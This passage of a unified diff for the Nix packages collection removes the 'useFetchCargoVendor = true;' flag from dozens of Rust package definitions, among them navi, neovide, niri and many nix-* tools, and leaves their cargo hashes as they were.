index eb0165a542ee..eeb3817b7808 100644
--- a/pkgs/by-name/na/natls/package.nix
+++ b/pkgs/by-name/na/natls/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-4x92r6V9AvEO88gFofPTUt+mS7ZhmptDn/8O4pizSRg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mfmG2VzBc9bRAjAF2a46JA6fzeXViVkTFUJYEIV44qo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/na/navi/package.nix b/pkgs/by-name/na/navi/package.nix
index 2d2ff99c9962..9022e01efb30 100644
--- a/pkgs/by-name/na/navi/package.nix
+++ b/pkgs/by-name/na/navi/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zvqxVu147u/m/4B3fhbuQ46txGMrlgQv9d4GGiR8SoQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tQCm8KMVWo6KiKVOMDitHtDXwYGM7INXcT+7fEEiIiI=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/nb/nbtscanner/package.nix b/pkgs/by-name/nb/nbtscanner/package.nix
index 7700a16fe628..53b7a1fc90a1 100644
--- a/pkgs/by-name/nb/nbtscanner/package.nix
+++ b/pkgs/by-name/nb/nbtscanner/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lnTTutOc829COwfNhBkSK8UpiNnGsm7Da53b+eSBt1Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/gVJJegPIUe0Mv7+0tCP/vWrMbImtY3tb+lELnn1ur0=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/nc/ncgopher/package.nix b/pkgs/by-name/nc/ncgopher/package.nix
index 50deded81024..46ab0d4eb03a 100644
--- a/pkgs/by-name/nc/ncgopher/package.nix
+++ b/pkgs/by-name/nc/ncgopher/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-KrvTwcIeINIBkia6PTnKXp4jFd6GEMBh/xbn0Ot/wmE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QhkYyvoWMGtLH5HhpOJ3JsBIWeZN/CllcXwNW+iM3WI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/nd/ndstrim/package.nix b/pkgs/by-name/nd/ndstrim/package.nix
index 130f7f3dbc44..0d7f8b56d720 100644
--- a/pkgs/by-name/nd/ndstrim/package.nix
+++ b/pkgs/by-name/nd/ndstrim/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wRMMWeZDk9Xt3263pq20Qioy1x8egiPhuoPxmpNTq8M=";
 
   # TODO: remove this after upstream merge above patch.
diff --git a/pkgs/by-name/ne/nearcore/package.nix b/pkgs/by-name/ne/nearcore/package.nix
index 9fb5bdee0651..c06e6d38e997 100644
--- a/pkgs/by-name/ne/nearcore/package.nix
+++ b/pkgs/by-name/ne/nearcore/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-VjvHCiWjsx5Y7xxqck/O9gSNrL8mxCTosLwLqC85ywY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3MvUn6CJ3skVctTIYhib8G+UVOB/VXokwlTnseGJAGU=";
   cargoPatches = [ ./0001-make-near-test-contracts-optional.patch ];
 
diff --git a/pkgs/by-name/ne/neocmakelsp/package.nix b/pkgs/by-name/ne/neocmakelsp/package.nix
index acc7e002372f..67afcf6d29c6 100644
--- a/pkgs/by-name/ne/neocmakelsp/package.nix
+++ b/pkgs/by-name/ne/neocmakelsp/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AFnGMKcPAn1rFfFDZWvg/iIhKHGKgCLA3bueP5k9oY4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XsRtkQpNfXCZxEbgkQo11lQM78E6+8PJWc+5FBXM2Ro=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ne/neohtop/package.nix b/pkgs/by-name/ne/neohtop/package.nix
index 4ed54a841699..592263037851 100644
--- a/pkgs/by-name/ne/neohtop/package.nix
+++ b/pkgs/by-name/ne/neohtop/package.nix
@@ -31,8 +31,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-qhAdKLtTQ2iUFc7UNJNeB1Mzbzg/NrGAWrKQTdGiN4Y=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-nYBPvfBzRIJdvfuOZnzs+kuSozlkBB/ImqjDYfvNBrA=";
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/ne/neothesia/package.nix b/pkgs/by-name/ne/neothesia/package.nix
index a7af2a57c9fe..2c0273d4c681 100644
--- a/pkgs/by-name/ne/neothesia/package.nix
+++ b/pkgs/by-name/ne/neothesia/package.nix
@@ -37,7 +37,6 @@ rustPlatform.buildRustPackage {
     rustPlatform.bindgenHook
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qIoH+YhyPXXIWFwgcJBly2KBSuVgaRg5kZtBazaTVJ0=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/ne/neovide/package.nix b/pkgs/by-name/ne/neovide/package.nix
index 2e99726f6af9..17da61c29715 100644
--- a/pkgs/by-name/ne/neovide/package.nix
+++ b/pkgs/by-name/ne/neovide/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage.override { stdenv = clangStdenv; } (finalAttrs: {
     hash = "sha256-MLiLddF53OXDPYuJbTAscezxN09mxZkuSOZtQz07JSE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1ni8AZIwAz5R2Ejt9Fj5qmybvL4KZV/M3BMqQx4HFLU=";
 
   SKIA_SOURCE_DIR =
diff --git a/pkgs/by-name/ne/neovim-gtk/package.nix b/pkgs/by-name/ne/neovim-gtk/package.nix
index d1483fc8e71a..541c8092ff98 100644
--- a/pkgs/by-name/ne/neovim-gtk/package.nix
+++ b/pkgs/by-name/ne/neovim-gtk/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-inva7pYwOw3bXvFeKZ4aKSQ65iCat5HxM+NME8jN4/I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-93cKoyLNSLDmm9PnJzn0x6VONPqiCA3wcLwYgdOLIg8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ne/nerdfix/package.nix b/pkgs/by-name/ne/nerdfix/package.nix
index e9839908d630..afb442d35919 100644
--- a/pkgs/by-name/ne/nerdfix/package.nix
+++ b/pkgs/by-name/ne/nerdfix/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Mp8QFzMQXJEFIzkrmiW/wxMy/+WC4VqbPtWzE92z9Gc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8EchpubKnixlvAyM2iSf4fE5wowJHT6/mDHIvLPnEok=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ne/netavark/package.nix b/pkgs/by-name/ne/netavark/package.nix
index 394f8d73afab..f28e035412fe 100644
--- a/pkgs/by-name/ne/netavark/package.nix
+++ b/pkgs/by-name/ne/netavark/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-kAJOfZ4Q1EQ+JV1izXoLe/Z/qgxbzz3WbczM4fVhxfU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MdKTGLNf+7SzdkQNLOWgfmSE9TNLYzPFU0oXh6MnW5w=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ne/netbox2netshot/package.nix b/pkgs/by-name/ne/netbox2netshot/package.nix
index c6191cd6bdfa..1cbf582a3c39 100644
--- a/pkgs/by-name/ne/netbox2netshot/package.nix
+++ b/pkgs/by-name/ne/netbox2netshot/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4Leg7MaLSos2RjmxB6yVzxGju6OzNrChXdw5htppuZU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XjHOlpYSOwSXxbGp/xZVVcBGhprg4hh61L5dhVE5ODM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ne/nethoscope/package.nix b/pkgs/by-name/ne/nethoscope/package.nix
index a7bc672c2338..6b9514a9003a 100644
--- a/pkgs/by-name/ne/nethoscope/package.nix
+++ b/pkgs/by-name/ne/nethoscope/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-v7GO+d4b0N3heN10+WSUJEpcShKmx4BPR1FyZoELWzc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Psu47S39/46ksv7YUU/Ppq3IB70tL2D5ZjaPdpOrrdM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ne/netop/package.nix b/pkgs/by-name/ne/netop/package.nix
index 623d95c21be9..2d2d02041fd6 100644
--- a/pkgs/by-name/ne/netop/package.nix
+++ b/pkgs/by-name/ne/netop/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
   LIBPCAP_LIBDIR = lib.makeLibraryPath [ libpcap ];
   LIBPCAP_VER = libpcap.version;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WGwtRMARwRvcUflN3JYL32aib+IG1Q0j0D9BEfaiME4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ne/netscanner/package.nix b/pkgs/by-name/ne/netscanner/package.nix
index 1b0d5710b41e..ef943d5f4101 100644
--- a/pkgs/by-name/ne/netscanner/package.nix
+++ b/pkgs/by-name/ne/netscanner/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-z39450ebIBHwdiC1FLF6v23la45ad5h5iupF6PAAjzc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-i+btU1ovqPGzhXi8IPZonSAdlpcbMPrWSbL7COKou9M=";
 
   postFixup = ''
diff --git a/pkgs/by-name/ne/neverest/package.nix b/pkgs/by-name/ne/neverest/package.nix
index 6e758d6bc2d0..28adeb75e97e 100644
--- a/pkgs/by-name/ne/neverest/package.nix
+++ b/pkgs/by-name/ne/neverest/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3PSJyhxrOCiuHUeVHO77+NecnI5fN5EZfPhYizuYvtE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-K+LKRokfE8i4Huti0aQm4UrpConTcxVwJ2DyeOLjNKA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ne/newsboat/package.nix b/pkgs/by-name/ne/newsboat/package.nix
index 44edf5b4005c..8db0cbb3f7bc 100644
--- a/pkgs/by-name/ne/newsboat/package.nix
+++ b/pkgs/by-name/ne/newsboat/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-ypAn9Z27S20f82wqsZIELO1DHN0deqcTHYA77ddtb8g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LDv5Rrv5ZKs7cspPTWt49omvLWY01y1TDGrfl7Jea3g=";
 
   # TODO: Check if that's still needed
diff --git a/pkgs/by-name/nf/nflz/package.nix b/pkgs/by-name/nf/nflz/package.nix
index 63bae29393a4..fcc7ce4a48c6 100644
--- a/pkgs/by-name/nf/nflz/package.nix
+++ b/pkgs/by-name/nf/nflz/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-c9+79zrIU/M1Rh+DiaLJzbrNSa4IKrYk1gP0dsabUiw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aw3p0Lr/gWC1yDpVCXVibj4eU7ZFCQDy8kHtE6d6Yjg=";
 
   # Tests do not work in the package published on crates.io, since the folder
diff --git a/pkgs/by-name/ng/ngrrram/package.nix b/pkgs/by-name/ng/ngrrram/package.nix
index 606de9acdaec..bf00782c5111 100644
--- a/pkgs/by-name/ng/ngrrram/package.nix
+++ b/pkgs/by-name/ng/ngrrram/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-65cbNsGQZSpxKV0lq/Z7TK7CODPTqayOiPStukFbo44=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SCfDXMz8SLmUk8VhbF6Gs4zis01Fhn4OX5amqLXaFV8=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/nh/nh/package.nix b/pkgs/by-name/nh/nh/package.nix
index e2039517580b..358bb25f5556 100644
--- a/pkgs/by-name/nh/nh/package.nix
+++ b/pkgs/by-name/nh/nh/package.nix
@@ -54,7 +54,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --prefix PATH : ${lib.makeBinPath runtimeDeps}
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-R2S0gbT3DD/Dtx8edqhD0fpDqe8AJgyLmlPoNEKm4BA=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ni/nickel/package.nix b/pkgs/by-name/ni/nickel/package.nix
index 7e811d817dbd..14414b33ab42 100644
--- a/pkgs/by-name/ni/nickel/package.nix
+++ b/pkgs/by-name/ni/nickel/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-I7cLVrkJhB3aJeE/A3tpFEUj0AkvcONSXD8NtnE5eQ0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DzSfwBVeRT/GAXWyZKZjlDvj95bQzrkqIgZZ2EZw7eQ=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/ni/nightlight/package.nix b/pkgs/by-name/ni/nightlight/package.nix
index 187d99965d2e..0cbb748a9d9e 100644
--- a/pkgs/by-name/ni/nightlight/package.nix
+++ b/pkgs/by-name/ni/nightlight/package.nix
@@ -17,8 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NOphjrqsnO5693Zw3NkX3c74I3PdJ8W6sxYwOEJ1yCU=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-v5Oo1AxwvJs66l9CtVjO+WfwgsM16zSLT1SSnDi1kSo=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ni/nil/package.nix b/pkgs/by-name/ni/nil/package.nix
index 2847bac37ecc..4b29b95a57a4 100644
--- a/pkgs/by-name/ni/nil/package.nix
+++ b/pkgs/by-name/ni/nil/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DqsN/VkYVr4M0PVRQKXPPOTaind5miYZURIYqM4MxYM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7TR/xTc66WpPszJDrpisVvHXl2+FGrUOskZAkGyY04Q=";
 
   nativeBuildInputs = [ nix ];
diff --git a/pkgs/by-name/ni/niri/package.nix b/pkgs/by-name/ni/niri/package.nix
index c52d848feb19..8496bf03f8a4 100644
--- a/pkgs/by-name/ni/niri/package.nix
+++ b/pkgs/by-name/ni/niri/package.nix
@@ -45,7 +45,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail '/usr/bin' "$out/bin"
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8ltuI94yIhff7JxIfe1mog4bDJ/7VFgLooMWOnSTREs=";
 
   strictDeps = true;
diff --git a/pkgs/by-name/ni/nitrocli/package.nix b/pkgs/by-name/ni/nitrocli/package.nix
index 5d826e68c9cf..b94ac382b00c 100644
--- a/pkgs/by-name/ni/nitrocli/package.nix
+++ b/pkgs/by-name/ni/nitrocli/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-j1gvh/CmRhPTeesMIK5FtaqUW7c8hN3ub+kQ2NM3dNM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lWFleq9uxoshPMx2mYULCyEar72ZjGfgf0HlRoYfG/M=";
 
   # tests require a connected Nitrokey device
diff --git a/pkgs/by-name/ni/nix-btm/package.nix b/pkgs/by-name/ni/nix-btm/package.nix
index c14740055ad0..18a954a4bcea 100644
--- a/pkgs/by-name/ni/nix-btm/package.nix
+++ b/pkgs/by-name/ni/nix-btm/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-f8XFWlx+gwhF/OD8+tPcLGV/v0QnsDWOcqpY3Js+FAo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zMQw3Q9t6JSMDt7xHMGTgAu9LW6MhG+Rrjpp5IEs/qQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ni/nix-doc/package.nix b/pkgs/by-name/ni/nix-doc/package.nix
index dc6684e32e90..7758d217d780 100644
--- a/pkgs/by-name/ni/nix-doc/package.nix
+++ b/pkgs/by-name/ni/nix-doc/package.nix
@@ -56,7 +56,6 @@ rustPlatform.buildRustPackage rec {
     RUSTFLAGS = "-C relro-level=partial";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EC+Wps6u1qXpv7ByM3NkRVCKRKCaBtC1o2vK8cKqzyU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ni/nix-du/package.nix b/pkgs/by-name/ni/nix-du/package.nix
index cb9ea6f585bf..5704e7349c6e 100644
--- a/pkgs/by-name/ni/nix-du/package.nix
+++ b/pkgs/by-name/ni/nix-du/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/Afp0InA/0xXdombAzylYJF9wcv5WwYizVsP+fHTDrM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Q/woxGh1I6FpgJ5D0x7KovSwuRXfZzqjzwljaoKj0/Y=";
 
   doCheck = true;
diff --git a/pkgs/by-name/ni/nix-forecast/package.nix b/pkgs/by-name/ni/nix-forecast/package.nix
index 2535821ebb0d..026e83e0b373 100644
--- a/pkgs/by-name/ni/nix-forecast/package.nix
+++ b/pkgs/by-name/ni/nix-forecast/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GTINiV+oHmu1/DmQsE7UjfAFFtH26LK35TveW437lPA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FQph9QOc0JrVjdilUxjRc77/obICK7fgzcDuqAoE2cs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ni/nix-health/package.nix b/pkgs/by-name/ni/nix-health/package.nix
index 5ca8e3ca2b9d..816178f8e494 100644
--- a/pkgs/by-name/ni/nix-health/package.nix
+++ b/pkgs/by-name/ni/nix-health/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/I6LdcH61wgJOEv51J1jkWlD8BlSAaRR1e7gc5H9bQI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3DE/NwPdi//7xaoV2SVgF5l3ndrEYraoyg5NLJzvzBI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ni/nix-init/package.nix b/pkgs/by-name/ni/nix-init/package.nix
index 0f996a78bf6b..7a45e74e3fc6 100644
--- a/pkgs/by-name/ni/nix-init/package.nix
+++ b/pkgs/by-name/ni/nix-init/package.nix
@@ -36,8 +36,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0RLEPVtYnwYH+pMnpO0/Evbp7x9d0RMobOVAqwgMJz4=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-kk/SaP/ZtSorSSewAdf0Bq7tiMhB5dZb8v9MlsaUa0M=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ni/nix-inspect/package.nix b/pkgs/by-name/ni/nix-inspect/package.nix
index 23bb5ef92326..7a28771e07a5 100644
--- a/pkgs/by-name/ni/nix-inspect/package.nix
+++ b/pkgs/by-name/ni/nix-inspect/package.nix
@@ -56,7 +56,6 @@ rustPlatform.buildRustPackage {
   pname = "nix-inspect";
   version = "0.1.2";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3FTlbWSA0SKCfunQDdXu9g2aQAdAIfOTq5qJbzrRPjc=";
 
   buildInputs = [ workerPackage ];
diff --git a/pkgs/by-name/ni/nix-janitor/package.nix b/pkgs/by-name/ni/nix-janitor/package.nix
index ec649c3a1239..527e1ca6abb9 100644
--- a/pkgs/by-name/ni/nix-janitor/package.nix
+++ b/pkgs/by-name/ni/nix-janitor/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MRhTkxPl0tlObbXO7/0cD2pbd9/uQCeRKV3DStGvZMQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-t4TZkwWIp/VYj4tMd5CdYuAQt3GquMRZ3wyAK3oic5k=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ni/nix-ld/package.nix b/pkgs/by-name/ni/nix-ld/package.nix
index c53db6681ff0..19e390607708 100644
--- a/pkgs/by-name/ni/nix-ld/package.nix
+++ b/pkgs/by-name/ni/nix-ld/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ULoitJD5bMu0pFvh35cY5EEYywxj4e2fYOpqZwKB1lk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cDbszVjZcomag0HZvXM+17SjDiGS07iPj78zgsXstHc=";
 
   hardeningDisable = [ "stackprotector" ];
diff --git a/pkgs/by-name/ni/nix-melt/package.nix b/pkgs/by-name/ni/nix-melt/package.nix
index 667e2076cf58..48f25deee1f1 100644
--- a/pkgs/by-name/ni/nix-melt/package.nix
+++ b/pkgs/by-name/ni/nix-melt/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jx7g9GOFAjOlJyNsGOUTLh2qWII9u0prOoBEvNPmdj8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OTKK0d4yCTiK5GTw+LKagutRbok/zKqLkeOtInJ2L64=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ni/nix-query-tree-viewer/package.nix b/pkgs/by-name/ni/nix-query-tree-viewer/package.nix
index 230fb10f5cc2..6872fb0bba95 100644
--- a/pkgs/by-name/ni/nix-query-tree-viewer/package.nix
+++ b/pkgs/by-name/ni/nix-query-tree-viewer/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     gtk3
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6TdPYN42PMOE5zL8nBRVdndjWhvU+7y0yNWtJybvkf0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ni/nix-store-veritysetup-generator/package.nix b/pkgs/by-name/ni/nix-store-veritysetup-generator/package.nix
index 6a92ed47aba7..73f5a71df5fd 100644
--- a/pkgs/by-name/ni/nix-store-veritysetup-generator/package.nix
+++ b/pkgs/by-name/ni/nix-store-veritysetup-generator/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/rust";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9DwED8X/RHjBCInm+VbzoeVSb28U+XIE2IjNAGon6+E=";
 
   env = {
diff --git a/pkgs/by-name/ni/nix-template/package.nix b/pkgs/by-name/ni/nix-template/package.nix
index 6af77e074581..a7f4ae24feb9 100644
--- a/pkgs/by-name/ni/nix-template/package.nix
+++ b/pkgs/by-name/ni/nix-template/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-42u5FmTIKHpfQ2zZQXIrFkAN2/XvU0wWnCRrQkQzcNI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cLSGWOyBQLv235TeYqSVg/f0Zmcnpj+RshINN69JYEU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ni/nix-weather/package.nix b/pkgs/by-name/ni/nix-weather/package.nix
index 079057255e2b..86cd428d6196 100644
--- a/pkgs/by-name/ni/nix-weather/package.nix
+++ b/pkgs/by-name/ni/nix-weather/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-15FUA4fszbAVXop3IyOHfxroyTt9/SkWZsSTUh9RtwY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IkwCa+MioL2F3fiUYm3HQOeO2yb+58YQzM9YJ2oILj4=";
   cargoExtraArgs = "-p nix-weather";
 
diff --git a/pkgs/by-name/ni/nix-web/package.nix b/pkgs/by-name/ni/nix-web/package.nix
index 9149274b37d3..13a59db72f40 100644
--- a/pkgs/by-name/ni/nix-web/package.nix
+++ b/pkgs/by-name/ni/nix-web/package.nix
@@ -26,7 +26,7 @@ rustPlatform.buildRustPackage rec {
     rev = "nix-web-v${version}";
     hash = "sha256-lAk2VfhclHswsctA0RQgEj5oEX1fowh8TCaKykGEioY=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-PfbDod1vQDnWqbhRgXbOvidxGWIXIe7XIgqiLVbovh0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ni/nix-your-shell/package.nix b/pkgs/by-name/ni/nix-your-shell/package.nix
index bda305c30d35..d87f73dc2233 100644
--- a/pkgs/by-name/ni/nix-your-shell/package.nix
+++ b/pkgs/by-name/ni/nix-your-shell/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FjGjLq/4qeZz9foA7pfz1hiXvsdmbnzB3BpiTESLE1c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zQpK13iudyWDZbpAN8zm9kKmz8qy3yt8JxT4lwq4YF0=";
 
   meta = {
diff --git a/pkgs/by-name/ni/nixci/package.nix b/pkgs/by-name/ni/nixci/package.nix
index 267107cbdb46..7920028ffb9b 100644
--- a/pkgs/by-name/ni/nixci/package.nix
+++ b/pkgs/by-name/ni/nixci/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0VvZFclqwAcKN95eusQ3lgV0pp1NRUDcVXpVUC0P4QI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iRsmB+ak6pWFtAdXEmGSc9dGdIuSbgLp3UT3SdOUOGQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ni/nixdoc/package.nix b/pkgs/by-name/ni/nixdoc/package.nix
index 617a1acddd2d..3d6c90120f14 100644
--- a/pkgs/by-name/ni/nixdoc/package.nix
+++ b/pkgs/by-name/ni/nixdoc/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-7UOjmW8Ef4mEvj7SINaKWh2ZuyNMVEXB82mtuZTQiPA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Aw794yhIET8/pnlQiK2xKVbYC/Kd5MExvFTwkv4LLTc=";
 
   meta = {
diff --git a/pkgs/by-name/ni/nixel/package.nix b/pkgs/by-name/ni/nixel/package.nix
index 0d3eeed4b1ad..60d66aa39bca 100644
--- a/pkgs/by-name/ni/nixel/package.nix
+++ b/pkgs/by-name/ni/nixel/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-dQ3wzBTjteqk9rju+FMAO+ydimnGu24Y2DEDLX/P+1A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-X/O1Lg1llyRz+d5MC1xO4qKU1+mDIlZhgj6qQ9kLH4k=";
 
   # Package requires a non reproducible submodule
diff --git a/pkgs/by-name/ni/nixf-diagnose/package.nix b/pkgs/by-name/ni/nixf-diagnose/package.nix
index bbcac13337bf..6cb833755301 100644
--- a/pkgs/by-name/ni/nixf-diagnose/package.nix
+++ b/pkgs/by-name/ni/nixf-diagnose/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   env.NIXF_TIDY_PATH = lib.getExe nixf;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nrr2/lTWPyH7MsG2hSMJjbFCpHsKWINEP8jwSYPhocg=";
 
   meta = {
diff --git a/pkgs/by-name/ni/nixpacks/package.nix b/pkgs/by-name/ni/nixpacks/package.nix
index 2212d9ca0606..13ab50901776 100644
--- a/pkgs/by-name/ni/nixpacks/package.nix
+++ b/pkgs/by-name/ni/nixpacks/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1Kw5vOE8UhGWlSjBX/wMiUyRvCYwha343RiGAXEcFXw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rmndlNqUtGpSBLclyoTL01CP3qgCNoTmOnpR+9ux/VE=";
 
   # skip test due FHS dependency
diff --git a/pkgs/by-name/ni/nixpkgs-fmt/package.nix b/pkgs/by-name/ni/nixpkgs-fmt/package.nix
index d6de2cb7b1bf..164b13ef67ac 100644
--- a/pkgs/by-name/ni/nixpkgs-fmt/package.nix
+++ b/pkgs/by-name/ni/nixpkgs-fmt/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6Ut4/ix915EoaPCewoG3KhKBA+OaggpDqnx2nvKxEpQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aookq6n8/dMz+REDwtSghhzcUf66D3O9SKJKx3q7lsI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ni/nixpkgs-hammering/package.nix b/pkgs/by-name/ni/nixpkgs-hammering/package.nix
